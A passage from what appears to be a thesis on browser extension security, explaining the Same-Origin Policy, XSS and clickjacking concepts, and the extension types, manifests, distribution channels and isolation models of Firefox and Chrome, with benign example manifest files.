https://msdn.microsoft.com/en-us/library/ms537634(v=vs.85).aspx
https://msdn.microsoft.com/en-us/library/ms537634(v=vs.85).aspx
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Listing 3.16 shows multiple language concepts of JavaScript. After declaring the variable with the var
keyword, a new object of type XMLHttpRequest is created. The browser context offers multiple globally
available APIs allowing developers to perform actions such as sending requests. In the second line, a function
is dynamically assigned to an event property of the newly created object. If the request succeeds and a
response is sent back, this function will be invoked. It prints the response to the browser console using the
xhr variable it captured in its closure. Finally, two function calls are executed, setting the correct parameters
to send a request.

3.6. Same-Origin Policy

The Same-Origin Policy is an important security boundary for websites and revolves around the concept of
web origins [Bar11]. This concept groups together Uniform Resource Locators (URLs) by matching (scheme,
domain, port) tuples. If an URL does not include a port number, it is inferred from the scheme (80 for HTTP,
443 for HTTPS). Here is an exemplary URL in its most verbose form:

scheme://username:password@host:port/path?query#fragment

Websites of different origins are not allowed to directly access each other. For instance, a script running on
http://rub.de/ is not allowed to read the cookies of http://google.com/, since the domains do
not match. There are, however, interfaces which allow communication between cross-origin domains but they
generally require both parties to agree to this information transfer [Hic].

As the Same-Origin Policy is essential to the security to the web, many researchers tried to circumvent it in
the past [Kar+07; SB11].

3.6.1. Security Contexts

Real access decisions involving extensions cannot be modeled using the Same-Origin Policy. Extensions
often need to have the power to cross origin boundaries: An advertisement blocker, for example, must be able
to learn about all resources of every visited website and block them accordingly. A security context is an
abstract concept to compensate for these shortcomings of the Same-Origin Policy.

Figure 3.3.: Abstract model of browser security contexts

Figure 3.3 shows multiple website contexts which are subject to regular browser security boundaries and a
special extension context. In this simplified model, extensions may access each opened browser window,
regardless of origin. The browser itself can be thought of as another powerful context called the internal
browser context. Obviously, implementations differ in the way this concept is realized.
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3.7. Cross-Site Scripting

Adversaries are prohibited from directly accessing sensitive data of other origins due to the Same-Origin
Policy. Thus, they need to circumvent this security boundary to leak information. One of the possible ways to
achieve this goal is via Cross-Site Scripting (XSS). For this attack to work, the target has to have a flawed
web application allowing code injection. As the injected code is executed on the vulnerable origin, it can leak
arbitrary data without being hindered by the Same-Origin Policy.

There are four types of XSS, each identified by a characteristic of the underlying vulnerability. Each type
further specifies the flaw which is why in the following list, the types are referenced in an increasing order
based on their specificity. For instance, a vulnerability can be both stored and DOM-based since both types
describe different characteristics.

Figure 3.4.: Reflected XSS

• Reflected XSS occurs when at least one of the web application’s input parameters is returned to
the client with insufficient sanitization. Sending a request containing the attack and then receiving
the response leading to code execution resembles a reflection on the server-side – hence the name.
Figure 3.4 illustrates this concept. Naturally, reflected XSS requires the adversary to trick victims into
clicking a prepared hyperlink through social engineering or other means.

Figure 3.5.: Persistent XSS

• Stored or persistent XSS describes vulnerabilities triggered by payloads which are persisted on disk
or in memory. As a consequence of this, an adversary can place the attack once and have it served
to multiple victims. Figure 3.5 shows the course of events. In contrast to to reflected XSS, this
vulnerability rarely requires direct contact to victims.

• DOM-based XSS arises when client-side code is vulnerable. A JavaScript redirect, for instance, might
allow an adversary to obtain code execution using a JavaScript pseudo protocol handler (cf. Section 3.5).
This vulnerability would qualify as DOM-based since the root cause can be found in client-side code.

• Mutation-based XSS is a consequence of input normalization bugs which can occur when developers
employ APIs like innerHTML. These APIs allow the current DOM tree to be serialized to text and
modified by markup. Broken code is not rejected but rather mutated and integrated in to the DOM. As
Heiderich et al. show, both the read and write behavior can be exploited by attackers [Hei+13].



CHAPTER 3. FUNDAMENTALS 17

3.7.1. Cross-Context Scripting

A code injection into a different security context (cf. Section 3.6.1) is called Cross-Context Scripting (XCS).
Extensions, for example, are mostly written in native web languages like JavaScript and can be vulnerable to
DOM-based XSS flaws. An adversary may trigger weaknesses from web content and obtain higher privileges.
Depending on the browser, consequences vary from private data leaks to complete compromise of the victim’s
host system. If the security context is restrained, an adversary may attempt to further elevate privileges from
the new position. Furthermore, the attacker is not limited to extension vulnerabilities but can also target flaws
in the browser’s implementation. Sometimes the term Cross-Zone Scripting is used synonymously to XCS.
Originally, it is based on Internet Explorer’s zone-based security model which defines trusted and untrusted
zones with respectively stronger and weaker capabilities than normal web content13.

3.8. Clickjacking

Clickjacking, also called UI-Redressing, uses misdirection to lure a victim into executing unwanted actions. In
contrast to Cross-Site Request Forgery (CSRF), most Clickjacking attacks are of visual nature: They obscure
User Interface (UI) elements, so that users do not recognize their real purpose and click them voluntarily.
In an actual real world attack, adversaries have hidden Facebook’s like button in a one by one pixel frame
following the mouse movement. Victims attempting to click an element such as a hyperlink on the attacking
page actually click the like button14.

Initially coined by Grossman and Hansen in 200815, Clickjacking has received scrutiny by by criminals
and researchers [Nie11; Hua+12] alike. Soon after the initial publication, a technique called frame busting
gained popularity. It attempts to prevent a site from being framed by using code on the site itself. Many
of these protections have been shown to be futile by researchers [Ryd+10; Lek+12]. In 2009, Microsoft
released Internet Explorer 8 with a new HTTP header which allows websites to opt out of being frameable16.
This header was quickly adopted by other browsers and promoted as a way to prevent Clickjacking attacks.
However, as researchers such as Michal Zalewski pointed out, this solution is far from being perfect17.

Example

Figure 3.6.: Unobstructed website Figure 3.7.: Overlayed website

13MSDN. About URL Security Zones. URL: https://msdn.microsoft.com/en-us/library/ms537183(v=vs.
85).aspx.

14Graham Cluley. Viral clickjacking ’Like’ worm hits Facebook users. May 2010. URL: https://nakedsecurity.sophos.
com/2010/05/31/viral-clickjacking-like-worm-hits-facebook-users/.

15Jeremiah Grossman. Clickjacking: Web pages can see and hear you. Oct. 2008. URL: http://jeremiahgrossman.
blogspot.de/2008/10/clickjacking-web-pages-can-see-and-hear.html.

16Eric Lawrence. IE8 Security Part VII: ClickJacking Defenses. Jan. 2009. URL: https://blogs.msdn.microsoft.com/
ie/2009/01/27/ie8-security-part-vii-clickjacking-defenses/.

17Michal Zalewski. X-Frame-Options, or solving the wrong problem. Dec. 2011. URL: https://lcamtuf.blogspot.de/
2011/12/x-frame-options-or-solving-wrong.html.

https://msdn.microsoft.com/en-us/library/ms537183(v=vs.85).aspx
https://msdn.microsoft.com/en-us/library/ms537183(v=vs.85).aspx
https://nakedsecurity.sophos.com/2010/05/31/viral-clickjacking-like-worm-hits-facebook-users/
https://nakedsecurity.sophos.com/2010/05/31/viral-clickjacking-like-worm-hits-facebook-users/
http://jeremiahgrossman.blogspot.de/2008/10/clickjacking-web-pages-can-see-and-hear.html
http://jeremiahgrossman.blogspot.de/2008/10/clickjacking-web-pages-can-see-and-hear.html
https://blogs.msdn.microsoft.com/ie/2009/01/27/ie8-security-part-vii-clickjacking-defenses/
https://blogs.msdn.microsoft.com/ie/2009/01/27/ie8-security-part-vii-clickjacking-defenses/
https://lcamtuf.blogspot.de/2011/12/x-frame-options-or-solving-wrong.html
https://lcamtuf.blogspot.de/2011/12/x-frame-options-or-solving-wrong.html
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Figure 3.6 depicts an exemplary website featuring a button. In order to be a worthwhile target, this button
has to perform a potentially harmful action which the adversary cannot trigger himself. This could be, for
example, disabling authentication for a router in the victim’s home network. If the website does not prevent
framing, an adversary can embed it in an iframe element and overlay large parts of its UI. This will
obfuscate the visual context of the button, as illustrated by Figure 3.7, and potentially trick a victim into
performing the harmful action.

3.9. Browsers

Figure 3.8.: Browser components

Web browsers allow users to request and view websites in the World
Wide Web (WWW). However, as the web attracts many businesses
and websites get access to increasingly powerful APIs, browsers
evolve to become feature-rich software platforms. Most needs of
a user can nowadays be solved by web applications, making the
browser one of the most essential pieces of software installed on an
operating system. Abstractly, a browser functions as follows: After
the networking component transparently handled all communication
necessary to obtain a website’s code, the rendering engine parses and
renders it. If a script is encountered during parsing, the interpreter is
given its code. Both scripts and markup can trigger new requests to
the website to fetch additional resources. Thus, all components of a browser are constantly interacting with
each other to display a website. Figure 3.8 shows this in an abstract illustration. Of course a browser consists
of more parts than only those three: The UI and data persistence layers are just two additional examples in a
range of components which make up a modern browser.

As browsers play an essential role in today’s lives, different needs arise around their UI and behavior.
In order to satisfy those needs without having to implement all functionality themselves, all large browser
vendors introduced extensions. With the given extension mechanisms, developers can customize large parts
of a browser. This allows for different work flows and behavior to be implemented independently of the
browser core itself.

A central concept when dealing with extensions or browsers in general are user profiles. They provide
multiple completely isolated browsing environments, each with a separate cookie store, settings, cache and
extension registry. Therefore, it is possible for multiple users to use one browser or a single person to have
multiple browsing sessions at the same time. A special case is the private browsing mode. If a user enables it,
the browser promises not to store any persistent data about the session on disk. Extensions, however, may
violate this promise.

3.9.1. Mozilla Firefox

Firefox is a web browser released by the Mozilla Foundation and its subsidiaries. Its main components are
Gecko, a layout rendering engine18, and SpiderMonkey, a JavaScript parser and interpreter19. Its Graphical
User Interface (GUI) is structured in XUL (cf. Section 3.2.2) and styled in CSS (cf. Section 3.4). Additionally,
significant parts of its internals are implemented in JavaScript (cf. Section 3.5). While the various available
statistics slightly differ in absolute values and significance, Firefox’ desktop browser market share can be

18MDN. Gecko. Oct. 2015. URL: https://developer.mozilla.org/en-US/docs/Mozilla/Gecko.
19MDN. SpiderMonkey. Sept. 2015. URL: https://developer.mozilla.org/en-US/docs/Mozilla/Projects/

SpiderMonkey.

https://developer.mozilla.org/en-US/docs/Mozilla/Gecko
https://developer.mozilla.org/en-US/docs/Mozilla/Projects/SpiderMonkey
https://developer.mozilla.org/en-US/docs/Mozilla/Projects/SpiderMonkey
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estimated to revolve around 15% globally20.
Originally, the Mozilla Suite was an open source version of Netscape’s internet software bundle, consisting

of a browser, an email client, an Internet Relay Chat client and an HTML editor [Yeo05]. Firefox was
separated from the project in order to serve as a stand-alone browser, while Mozilla’s community of developers
continued to maintain the suite under the name SeaMonkey. Volunteers can freely contribute to Firefox, albeit
under the supervision of the Mozilla Foundation.

Firefox extensions, sometimes referred to as add-ons, offer many ways of extending the browser’s core
functionality or changing its appearance. They are part of Mozilla’s XULRunner package which is used in
multiple products like Firefox and Thunderbird21. Among the most popular extensions there are advertisement
blockers, tracking protections and developer tools. An add-on called Greasemonkey is a special case: It
enables scripts to be run on predefined web origins and thus constitutes its own extension ecosystem.

3.9.2. Google Chrome

Google Chrome is the most popular and widely used browser at the time of this writing. With roughly 55
percent of the global market share22, it has become a prime target for attackers. In contrast to Mozilla Firefox,
the implementation of the browser is not fully available to the public as it contains proprietary components.
Large parts of its code base are, however, shared with an associated open source project called Chromium.
The internal Flash implementation, for instance, is not open source whereas other components, like the v8
JavaScript engine and the Blink rendering engine, are.

For its first release in September 2008, Google Chrome employed the WebKit rendering engine which is
most prominently known from Apple’s Safari browser. This changed in 2013, when WebKit was forked into
Blink in order to speed up development and allow more architectural changes for performance experiments23.
Multiple software projects rely on parts of Chrome’s architecture: Recent versions of the Opera browser, for
example, leverage the Blink rendering engine in lieu of a former, in-house developed engine called Presto.

Chrome extensions have a strong focus on extending the browser’s functionality. Modifications of existing
behavior are strictly limited to a few predefined APIs and settings. In contrast to Firefox, very few additional
technologies are introduced for the extension system.

3.9.3. Other Browsers

Apart from Google Chrome and Mozilla Firefox, there are multiple other browsers from which a user can
choose. While there are too many options to fully discuss, very few browsers are conceptually different from
the two examined in this thesis. In fact, a large portion of browsers use the Blink rendering engine, hence
being similar to Chrome in various aspects. Most importantly, many Blink-based browsers adopt Chrome’s
extension system, allowing for easy adjustment of attack techniques. For example, Opera, a browser with
a global market share of roughly 2 percent, is based on Blink. After abandoning its own rendering engine
called Presto in 2013, it first used WebKit and then later transitioned to Blink. Its extension system is almost
identical to Chrome’s with the exception of a few different APIs24. However, the core security model remains
unchanged. A similar approach has been taken by the Vivaldi browser. Building on top of Chrome, it mainly

20StatCounter. Top 5 Desktop Browsers from Aug 2012 to Sept 2015. Sept. 2015. URL: http://gs.statcounter.com/
#browser-ww-monthly-201511-201601.

21MDN. XULRunner. URL: https://developer.mozilla.org/en-US/docs/Mozilla/Projects/XULRunner.
22StatCounter. Top 5 Desktop Browsers from Aug 2012 to Sept 2015. Sept. 2015. URL: http://gs.statcounter.com/

#browser-ww-monthly-201511-201601.
23The Chromium Projects. Developer FAQ. 2013. URL: https://www.chromium.org/blink/developer-faq.
24Dev.Opera. Extension APIs Supported in Opera. URL: https://dev.opera.com/extensions/apis/.

http://gs.statcounter.com/#browser-ww-monthly-201511-201601
http://gs.statcounter.com/#browser-ww-monthly-201511-201601
https://developer.mozilla.org/en-US/docs/Mozilla/Projects/XULRunner
http://gs.statcounter.com/#browser-ww-monthly-201511-201601
http://gs.statcounter.com/#browser-ww-monthly-201511-201601
https://www.chromium.org/blink/developer-faq
https://dev.opera.com/extensions/apis/
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extends its GUI with a pre-installed App. In addition to the regular attacks on Chrome extensions, this allows
an adversary to directly target the browser’s GUI (cf. Section 6.2.2).

From the browsers which are uniquely distinct from Firefox and Chrome, Microsoft’s Internet Explorer
is the most popular. Starting in 1995, it continuously evolved to version 11 with its own rendering engine,
script interpreter and extension system. Yet, it has been discontinued recently to make room for a completely
rewritten product called Edge. However, as its extension system has not yet been released at the time of
this writing, it is impossible to estimate the impact and applicability of the attack techniques presented in
this thesis. Another prominent browser with an own extension system is Apple’s Safari. Even though the
browser is based on WebKit which is Blink’s predecessor, the extension systems found in Chrome and Safari
respectively have very few similarities.



4. Extension Architectures

When attacking browser extensions, a basic knowledge of the underlying extension architecture is required.
Knowing about the mitigations, security boundaries and general concepts implemented in each browser does
not only help reproducing the results found in Chapters 6 and 7, but is mandatory for finding new attacks, too.
Therefore, this Chapter introduces the extension systems of Mozilla Firefox and Google Chrome. While not
as verbose as the official documentation, the following Sections focus on the most important security aspects.
Overarching concepts such as browser profiles and general introductions of the browsers themselves can be
found in Section 3.9.

4.1. Extension Types

Most browsers feature more than one type of extension. Often, extension types are assigned different tasks:
Themes, for example, are meant to customize the visual appearance of the browser. Localization packages, on
the other hand, add new languages and location-specific display information to the UI. This clear distinction
aids security, as each extension type can be stripped from privileges not required for its task.

4.1.1. Mozilla Firefox

In the Firefox ecosystem, extensions are commonly referred to as add-ons. Due to its age, the browser has
amassed multiple competing ways of writing add-ons, each with their own peculiarities. Coarsely, these can
be divided into extension types building on top of the legacy extension system and independent ones. The
former group is further separated by a numeric value found in a meta data file called install.rdf. It tells
the different extension types apart by assigning each add-on type a power of two. The following list explains
the six types building on top of the legacy extension system. Each entry is prefixed by its type specifier
found in the install.rdf.

• (2) Extensions can exercise the full power of the Firefox add-on system by leveraging privileged
JavaScript APIs. In order to avoid confusion between the general term extension and this type, add-ons
belonging to this group will be called regular extensions in the remainder of this thesis. Writing a
regular extension is possible in three competing ways.

– Legacy extensions are the oldest, yet, still working type of add-on in Firefox. Generally,
functionality is implemented using Mozilla’s Cross Platform Component Object Model (XPCOM)
technology. It enables add-ons to invoke the same APIs Firefox uses internally. Furthermore,
most legacy extensions use a mechanism called XUL Overlay to customize the browser’s UI.
Essentially, overlays allow developers to modify elements and attributes in other XUL documents.
As the browser’s UI is written in XUL, almost all components can be customized or replaced. A
major disadvantage of this technique is that it requires a browser restart when a new add-on is
installed or uninstalled. Presumably due to optimization reasons, Firefox applies overlays only
on browser startup.

– Restartless extensions (also called bootstrapped extensions) solve the browser restart issue by
disallowing XUL Overlays altogether. Instead, a dedicated JavaScript file (bootstrap.js)
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provides functions for common events like startup, shutdown or installation. Add-ons are expected
to modify the GUI programmatically and undo these changes when being uninstalled. In spite of
this modernization, restartless extensions still rely on XPCOM functions and interfaces to provide
functionality.

– Add-on SDK extensions (formerly called Jetpack add-ons) offer an alternative to the use of
XPCOM. Various high- and low-level APIs are meant to make extension development easier
and more accessible. Instead of requiring deep knowledge of Firefox-specific technologies, the
Software Development Kit (SDK) focuses on providing functionality through standardized web
technologies. In contrast to restartless or legacy extensions, no knowledge about XUL, XBL and
XPCOM is required. Moreover, the SDK is the first add-on type to introduce isolation between
core extension and DOM interaction code through content scripts (cf. Section 4.4.1).

• (4) Themes, or complete themes, use CSS to customize the visual appearance of the browser UI. As
the UI of Firefox is based on markup languages, almost every aspect of the browser can be styled.
However, although themes can use all language features of CSS, they are prevented from employing
XUL, XBL and privileged JavaScript APIs.

• (8) Locale packs (or localization packages) contain translations and localization settings for the
browser GUI. Mostly consisting of DTD and property files, they have no direct access to privileged
JavaScript APIs.

• (16) Multiple Item Packages bundle multiple add-ons in one package. In contrast to other extension
types, multiple item packages implement no functionality on their own. Bundled add-ons, on the other
hand, have the privileges they would normally have. This extension type allows distribution of a theme
alongside an add-on or similar combinations.

• (64) Spell Check Dictionaries add languages to the browser’s spell checking engine. Based on the
Hunspell project, Firefox parses one dictionary (.dic) and one affix file (.aff) from each extension
of this type. Other than that, the add-on is not able to perform any further actions.

• (128) Telemetry Experiments are described as “specially-designed restartless addons”1 and are used
to run experiments on a wide range of Firefox installations. In terms of technology, they have the exact
same advantages and disadvantages as restartless extensions and, thus, belong to the group of regular
extensions. However, due to their special purpose and Mozilla’s signing process (cf. Section 4.4.1),
normal extension authors are not able to create telemetry experiments.

Modern add-on types do not follow the distinction of the legacy extension system. Currently, two add-on
types belong to this group.

• WebExtensions mimic Google Chrome’s extension architecture (cf. Section 4.1.2) and are still in
development at the time of this writing. In future, legacy and restartless add-ons will be deprecated
in favor of this new type of extension2. In addition to establishing cross-browser compatibility,
Mozilla’s implementation of WebExtensions allows for compatibility with a multi-process variant of
Firefox. Similar to the Add-On SDK, only standardized web technologies are utilized. Furthermore,
WebExtensions are using a revised security model, also borrowed from Chrome (cf. Section 4.4.1).

1Mozilla Wiki. Telemetry/Experiments. URL: https://wiki.mozilla.org/Telemetry/Experiments.
2MDN. WebExtensions. URL: https://developer.mozilla.org/en-US/Add-ons/WebExtensions.

https://wiki.mozilla.org/Telemetry/Experiments
https://developer.mozilla.org/en-US/Add-ons/WebExtensions
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• Lightweight themes merely consist of two images. Separated into header and footer, the pictures are
set as the background of the browser’s top and bottom part of the window respectively. In Firefox 3.6
the first implementation of lightweight themes appeared under the name Personas3.

1 <?xml version="1.0"?>
2 <RDF xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
3 xmlns:em="http://www.mozilla.org/2004/em-rdf#">
4 <Description about="urn:mozilla:install-manifest">
5 <em:id>theme@iceqll.eu</em:id>
6 <em:version>1.0</em:version>
7 <em:type>4</em:type>
8 <em:targetApplication>
9 <Description>

10 <!-- id of firefox -->
11 <em:id>{ec8030f7-c20a-464f-9b0e-13a3a9e97384}</em:id>
12 <em:minVersion>29.0</em:minVersion>
13 <em:maxVersion>45.*</em:maxVersion>
14 </Description>
15 </em:targetApplication>
16 <em:name>Theme Example</em:name>
17 <em:internalName>theme</em:internalName>
18 <em:description>Colorizes your browser bar green</em:description>
19 <em:creator>qll</em:creator>
20 <em:homepageURL>http://iceqll.eu/</em:homepageURL>
21 </Description>
22 </RDF>

Listing 4.1: install.rdf of a theme

All extension types building on the legacy extension system are always accompanied by an install.rdf
file. Resource Description Framework (RDF) is an XML dialect which is used to convey meta data. Listing 4.1
shows an exemplary RDF file describing a theme. After declaring the identifier and version number of the
add-on, the type is stated in an em:type property. The actual numerical value can be looked up in the
extension type list above, where each entry has an identifier prepended to its description. Another noteworthy
property of the install.rdf file is em:targetApplication. Since Mozilla’s extension system has
been generalized to work in multiple software packages, the target application has to be explicitly stated by
using an identifier. This theme declares its compatibility with Firefox version 29 to 45. Any other software or
Firefox version will at least show a warning when attempting to install the extension.

1 # creates chrome://alias/content/*
2 content alias path/to/files
3 # creates chrome://alias/skin/*
4 skin alias addon-name path/to/files
5 # creates chrome://alias/locale/*
6 locale alias addon-name path/to/files
7 # creates resource://alias/*
8 resource alias path/to/files

Listing 4.2: chrome.manifest of an extension

3MDN. Lightweight themes. URL: https://developer.mozilla.org/en-US/Add-ons/Themes/Lightweight_
themes.

https://developer.mozilla.org/en-US/Add-ons/Themes/Lightweight_themes
https://developer.mozilla.org/en-US/Add-ons/Themes/Lightweight_themes
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Another file commonly found in legacy extensions is the chrome.manifest. It can perform multiple
actions such as mapping the extension’s files to URLs, declaring XUL overlays and registering binary
components. In Listing 4.2, four URLs are created. Each instruction line is preceded by a comment, stating
the shape of the resulting URI. The remainder of this thesis will refer to the keywords content, skin,
locale and resource as the content types of an extension. Not every content type can be registered by
every type of extension. While regular extensions have the privileges to use all of them, themes, for example,
are limited to skin. Locale packs can use both locale and, surprisingly, skin.

4.1.2. Google Chrome

Chrome features three types of extensions:

• Themes can modify the appearance of the browser user interface. However, instead of having full
control over the visual styling, they can only change predefined elements. For example, while the color
of the browser’s toolbar can be altered, its general appearance (e.g. height) is fixed. All modifications
are listed declaratively in a manifest file, rendering the use of CSS syntax unnecessary.

• Extensions can request access to a range of APIs which allow them to perform high-privilege actions.
In contrast to Firefox add-ons, however, Chrome extensions do not have the power to execute system
commands. Instead, the available APIs are highly specialized and offer a limited amount of control
over the browser. Extensions are written using web technologies like JavaScript, CSS and HTML.

• Apps attempt to mimic native applications by having access to even more APIs than extensions. In
contrast to Extensions, they are not meant to modify the browsing behavior but represent a completely
isolated application. Still, Apps are not able to execute arbitrary commands on an operating system
level. Just like Extensions, Apps can be created with technologies like HTML, CSS and JavaScript.

1 {
2 "manifest_version": 2,
3 "name": "Exemplary extension",
4 "description": "Shows a few possibilities of a manifest file",
5 "version": "1.0",
6 "options_page": "options/options.html",
7 "browser_action": {
8 "default_icon": "icon.png",
9 "default_popup": "popup/popup.html",

10 "default_title": "Open popup on click"
11 },
12 "chrome_url_overrides" : {
13 "newtab": "overrides/override.html"
14 },
15 "default_locale": "en",
16 "permissions": [
17 "activeTab",
18 "http://*/*",
19 "https://*/*"
20 ]
21 }

Listing 4.3: An exemplary Chrome manifest.json



CHAPTER 4. EXTENSION ARCHITECTURES 25

All types require a clear specification of the utilized APIs in a JavaScript Object Notation (JSON) manifest
file. An exemplary manifest is given in Listing 4.3. Its permissions key does not only hold the requested
APIs but also all the hosts which the extension should be given cross-origin access to. These entries are
called host permissions and can use wildcards to match a wide range of domains. In the Listing above, the
extension requests access to all HTTP and HTTPS hosts. Other keys of manifest.json either declare
the extension’s structure or are used to convey meta information such as name, description and version.

4.2. Distribution Models

The distribution of software can either be the first viable point of attack or a major hindrance in achieving the
adversary’s goal. In all cases, the process is tremendously important to the security of the overall system.

4.2.1. Mozilla Firefox

Figure 4.1.: Add-on installation confirmation Figure 4.2.: Untrusted website permission request

Firefox add-ons are mainly distributed through the following three channels.

• Whitelisted domains are allowed to install extensions by calling the proprietary InstallTrigger
API. Remarkably, this list can be modified in the user preferences. However, despite the whitelist, con-
sent is always required for a successful installation as shown in Figure 4.1. Clean Firefox profiles con-
tain two whitelisted domains, namely the Firefox Marketplace and addons.mozilla.org (AMO). The lat-
ter is embedded by the Firefox user interface on an internal extension management site (about:addons).
Before being listed on AMO, each add-on has to undergo a review process4 in order to eliminate
disguised malware and vulnerabilities.

• Third-party domains are able to access the InstallTrigger API, too. In contrast to whitelisted
domains, they require additional approval of the user, shown in Figure 4.2. During this process, the
browser GUI clearly indicates danger to the user, as the domain is untrusted.

• Local installers may deploy add-ons as part of their software bundle. There are two ways to achieve
this: Either the high privileges obtained during the installation process are exploited to modify the
Firefox root directory5 or the add-on is placed using one of the intentional mechanisms built for this
purpose. For instance, on Windows systems, Registry keys can be used to enable add-ons for all or
only specified users6. Furthermore, installers may place a file with the path to the add-on in a profile’s
extensions directory. This will prompt Firefox to ask the user for consent on the next start.

4Mozilla Wiki. Add-on Review Guide. Oct. 2015. URL: https://wiki.mozilla.org/Add-ons/Reviewers/Guide.
5Todd. Bug 1169417 – Please ignore 3rd-party code injected into <fxdir>/browser/components/. May 2015. URL: https:
//bugzilla.mozilla.org/show_bug.cgi?id=1169417.

6MDN. Adding Extensions using the Windows Registry. Jan. 2016. URL: https://developer.mozilla.org/en-
US/docs/Adding_Extensions_using_the_Windows_Registry.

https://wiki.mozilla.org/Add-ons/Reviewers/Guide
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https://developer.mozilla.org/en-US/docs/Adding_Extensions_using_the_Windows_Registry
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Firefox enforces a signature check on regular extensions and WebExtensions starting from version 437.
For reasons explained in Section 7.1.2, localization packages have been added to the list of signed extension
types, too. In order to obtain this cryptographic proof of authenticity, add-ons have to be submitted to AMO
for review. Thus, both third-party domains and local installers cannot distribute arbitrary extensions anymore.
Rogue installers, however, are still able to override the imposed security checks by modifying the user’s
preferences or the Firefox binary itself.

Add-ons are most commonly distributed using the Cross-Platform Installer Module (XPI) file format. XPI’s
associated Multipurpose Internet Mail Extensions (MIME) type is application/x-xpinstall. In
effect, XPI is a ZIP archive with a distinct folder structure. Firefox additionally accepts the Java Archive (JAR)
format since it is just a ZIP file, too. Moreover, XPI uses JAR’s method of including potential signatures
in yet another folder structure inside of the archive. Installation packages can be nested in order to bundle
multiple extensions together8. In this case, each add-on has to be signed individually.

4.2.2. Google Chrome

Chrome has a complex distribution model, offering different options based on the user’s operating system. In
general, there are three ways of distributing Chrome extensions:

• The Chrome Web Store is the single authoritative source of extensions for both Windows and Mac
OS X operating systems. It requires an upfront fee of five dollars and mandatory reviews to list an
extension. While the review guidelines are not public, they most likely attempt to prevent malicious
software from being distributed through the store. The Chrome Web Store gives developers the option
of carefully distributing extensions only to a selected number of users or in a controlled manner.

• Third party sites have less of an important role in the Chrome extension ecosystem. Extensions hosted
on a website may only be installed by users of the Linux operating system. In order to ask the user
for an installation, the developer first has to package the extension and then serve it with the correct
MIME type (application/x-chrome-extension). Otherwise, if settings the MIME type is
not possible, the correct suffix, a regular MIME type and a missing content sniffing prevention header is
sufficient, too. While this is no option on Windows and Mac OS X operating systems, third party sites
can, however, trigger an installation from the Chrome Web Store. Using the chrome.webstore
API, a user can be prompted to install an extension in this manner.

• Local installers also have different options based on the underlying operating system: On Windows
systems, a Registry entry can be set. However, it has to point at the Chrome Web Store. Similarly, such
a link can be placed in a JSON file at a predefined path on Mac OS X systems. Finally, on Linux this
file is not required to point at the store, but can also reference other locations.

Chrome employs its own packaging format with the .crx file extension. It uses a custom header which
is followed by a standard ZIP file. The header contains information like the packaging format version, a
public key and a signature. A public-private key pair is created when first packing an extension locally, or
assigned by the Chrome Web Store. Subsequent updates must all bear a valid signature. Inside the ZIP file,
all extensions feature a manifest file which describes their type and purpose.

7Mozilla Wiki. Add-ons/Extension Signing. Dec. 2015. URL: https://wiki.mozilla.org/Addons/Extension_
Signing.

8MDN. Multiple item extension packaging. Sept. 2015. URL: https://developer.mozilla.org/en-US/docs/
Multiple_Item_Packaging.

https://wiki.mozilla.org/Addons/Extension_Signing
https://wiki.mozilla.org/Addons/Extension_Signing
https://developer.mozilla.org/en-US/docs/Multiple_Item_Packaging
https://developer.mozilla.org/en-US/docs/Multiple_Item_Packaging
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4.3. Security Concepts

An extension ecosystem can only be as secure as the underlying model allows it to be. Thus, knowing about
the security concepts of the engine tremendously aids the understanding of the actual security model. Both
Firefox and Chrome implement complex systems to ensure isolation between different parts of the browser.

4.3.1. Gecko Concepts

Figure 4.3.: Gecko’s compartment system

In Firefox, the Gecko rendering engine plays an essential role in the overall security of the extension system.
Generally, three core concepts are important, namely compartments, wrappers and principals9.

In addition to the Same-Origin Policy’s distinction between same-origin and cross-origin access, Gecko
defines two additional boundaries: A low privilege scope might attempt to access a high privilege scope
and vice versa. While the first may only be allowed with consent of the privileged context, the second is
always permitted. In order to isolate scopes and implement these security checks in a robust way, each Gecko
window object is placed in a separate memory region called compartment. All interaction is mediated through
a set of wrappers which are transparent to the actual code in this context. Figure 4.3 shows a privileged
compartment accessing web content through a wrapper. In total, there are four wrapper concepts.

• Transparent wrappers impose no restrictions on the type of access a compartment gets. For example,
reading a document of the same origin will receive this wrapper.

• Xray wrappers impose no inherent restrictions but attempt to protect the caller from harm. As
the JavaScript context may be polluted by the accessed compartment, this wrapper simulates a clean
environment. Xray wrappers are mostly used when privileged components access unprivileged contexts.

• Cross-origin wrappers restrict access to a limited amount of APIs. As the name suggests, a cross-
origin interaction will be mediated through this kind of wrapper.

• Opaque wrappers are the opposite of transparent wrappers and, thus, prohibit all access requests. Any
low privilege code attempting to directly access high privilege scopes will have to pass this wrapper.

In order to find the correct wrapper, Gecko uses security checks implemented in security principals. This
concept allows abstract comparisons, as one principal may subsume the privileges of another one. There are
four core principals.

9MDN. Script security. Oct. 2015. URL: https://developer.mozilla.org/en-US/docs/Mozilla/Gecko/
Script_security.

https://developer.mozilla.org/en-US/docs/Mozilla/Gecko/Script_security
https://developer.mozilla.org/en-US/docs/Mozilla/Gecko/Script_security
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• Null principals have the least privileges possible and subsume nothing. However, they are only
subsumed by system principals, hence having special protection against access from others.

• Content principals represent regular web content. Following the rules of the Same-Origin Policy,
only principals of the same origin are subsumed.

• Expanded principals have similar privileges as content principals. However, instead of one, they have
access to multiple origins which have to be defined upfront. Thus, no content principal can subsume an
expanded principal, whereas the other way around is possible.

• System principals have the highest level of privileges and, thus, subsume all other principals.

Relationship A→ B B→ A
A⊇ B∧B⊇ A Transparent wrapper Transparent wrapper
A⊇ B∧B + A Xray wrapper Opaque wrapper
A + B∧B + A Cross-origin wrapper Cross-origin wrapper

Table 4.1.: Subsuming relationships

Table 4.1 is taken from Mozilla’s documentation and shows the wrappers computed for various relationships.
If principal A subsumes B, it is denoted by the ⊇ symbol. Its counterpart is +, showing that the privileges are
not subsumed.

4.3.2. Chrome Concepts

Google Chrome and the Chromium project use a multi-process architecture to isolate websites and extensions
from each other [Bar+08]. In general, a distinction between the following three types of processes is drawn:

• Renderer processes employ the Blink engine to render all web sites assigned to them. In general, every
origin gets its own renderer process, although there are some exceptions: If a web sites is rendered in a
frame, it does not receive a separate process. Furthermore, there is a limit to the number of processes
Chrome will spawn. If it is exceeded, renderers will be assigned multiple web sites. Extensions are
loaded into renderer processes, too.

• The browser process handles all interaction between renderer processes. Furthermore, it manages
access to disk, network, user input and display10. As it is the most privileged process, it mediates all
security-sensitive tasks to renderer processes.

• Plug-in processes are started for browser plug-ins such as Adobe Flash.

In addition to this isolation, Chrome employs a sandbox for renderer processes [Bar+08]. While at first
